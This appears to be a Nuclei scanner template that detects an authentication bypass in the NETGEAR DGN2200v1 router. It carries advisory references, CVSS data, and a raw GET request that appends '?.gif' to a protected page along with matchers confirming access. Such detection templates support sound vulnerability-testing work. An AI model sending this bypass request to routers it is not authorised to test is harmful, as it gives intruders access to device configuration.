40 lines
1.3 KiB
YAML
40 lines
1.3 KiB
YAML
id: netgear-router-auth-bypass
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info:
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name: NETGEAR DGN2200v1 - Authentication Bypass
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author: gy741
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severity: high
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description: NETGEAR DGN2200v1 router contains an authentication bypass vulnerability. It does not require authentication if a page has ".jpg", ".gif", or "ess_" substrings but matches the entire URL. Any page on the device can therefore be accessed, including those that require authentication, by appending a GET variable with the relevant substring.
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reference:
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- https://www.microsoft.com/security/blog/2021/06/30/microsoft-finds-new-netgear-firmware-vulnerabilities-that-could-lead-to-identity-theft-and-full-system-compromise/
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- https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.1
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cwe-id: CWE-287
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tags: netgear,auth-bypass,router
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metadata:
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max-request: 2
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http:
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- raw:
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- |
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GET /WAN_wan.htm?.gif HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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- |
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GET /WAN_wan.htm?.gif HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "<title>WAN Setup</title>"
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